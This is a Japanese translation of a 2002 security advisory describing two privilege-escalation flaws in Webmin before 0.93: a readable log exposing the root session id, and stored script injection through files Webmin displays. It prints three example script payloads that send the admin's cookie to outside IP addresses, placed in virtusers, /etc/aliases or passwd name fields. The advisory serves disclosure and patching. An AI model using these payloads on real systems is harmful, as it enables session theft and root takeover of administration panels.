Webmin のローカル権限拡大に関する問題
[翻訳:関谷 麻美]
2002年3月22日
国際
海外情報
2002年3月22日
◆概要:
Webmin は、UNIX のシステム管理者用 Web ベースのインターフェースだ。テーブルとフォーム(そして File Manager モジュール用の Java) をサポートするブラウザならどれでも、ユーザ・アカウント、Apache、DNS、ファイル共有などを設定できる。その製品に無数のセキュリティ上の脆弱性が発見された。それらの中で危険度の高い脆弱性(権限の拡大を許可する)を以下に挙げる。
◆詳細:
脆弱なシステム:
Webmin 0.93 より以前のバージョン
この問題の影響を受けないシステム:
Webmin バージョン 0.93
問題 #1:
( rpm によりインストールされた場合)Webmin のバージョン 0.92-1 は、/var/webmin ディレクトリ上にセキュリティ不備のある権限をそのまま残す。つまり、webmin 内のコマンド・ロギングが有効な場合、ローカル・ユーザは /var/webmin/webmin.log ファイルを読むことができ、そしてルート・ユーザ sid (クッキー・セッション id)を検索できる。そして、その session-id を使用して偽のローカル・クッキーを生成し、ルート権限として直接 webmin に記録することは比較的容易だ。
問題 #2:
ある程度信用されている同僚がいくつかの Webmin 機能に制限つきアクセス権限(具体的には sendmail )を与えられた場合、悪意あるコードを特定のファイルに挿入することができる。結果、そのルート・ユーザが webmin の関連ページを訪れる際、そのファイルはルートの webmin sid(クッキー・セッション id)を露呈してしまう。
攻略手段の例:
下記の行を virtusers ファイルに挿入し、ルート権限を持つユーザがそのページを訪れるのを待つ。
</tt></a></td><tt><td><script>/* */document.write('<imgsrc="http://192.168.40.1/'+document.cookie+'">');</script>
もしくは下記の行を /etc/aliases ファイルに挿入する。
</a></td><td><tt><script>zz=unescape("%20");document.write('<img'/*:*/+zz+' src="http://10.1.1.33/'+document.cookie+'">');</script>
しかし、webmin の_no_ access を持つ悪意あるローカルユーザはこの脆弱性を利用する危険性があり、そのユーザは webmin が HTML インターフェースを介して見るファイルを変更する恐れがある(但し、HTML インターフェースで読み取られるコードが HTML 用にチェックされない場合)。例えば、下記のようなスクリプトで /etc/passwd にあるそれらの'real name' を変更できるかもしれない。
<script>zz=unescape("%3A");document.write('<img src="http'+zz+'//10.1.1.33/'+document.cookie+'">');</script>
(但し、chfn はあなたにこの長さのユーザ名を指定させないが、そのアイディアを得ることができる)
この問題は、webmin の大部分に存在し、ファイル(もしくは、'ps'のようなコマンド出力)が Web インターフェース内で読み取られ、そして表示される。
◆解決策:
(いくつかの他の問題と同様に)それらの問題が修正されている Webmin の最新バージョン(0.93) にアップグレードすること。最新版は、下記の URL から入手できる。
http://www.webmin.com/download.html
◆追加情報:
prophecy.net.nz のアドバイザリーがこの情報が提供した。
[情報提供:SecuriTeam]
http://www.securiteam.com/
《ScanNetSecurity》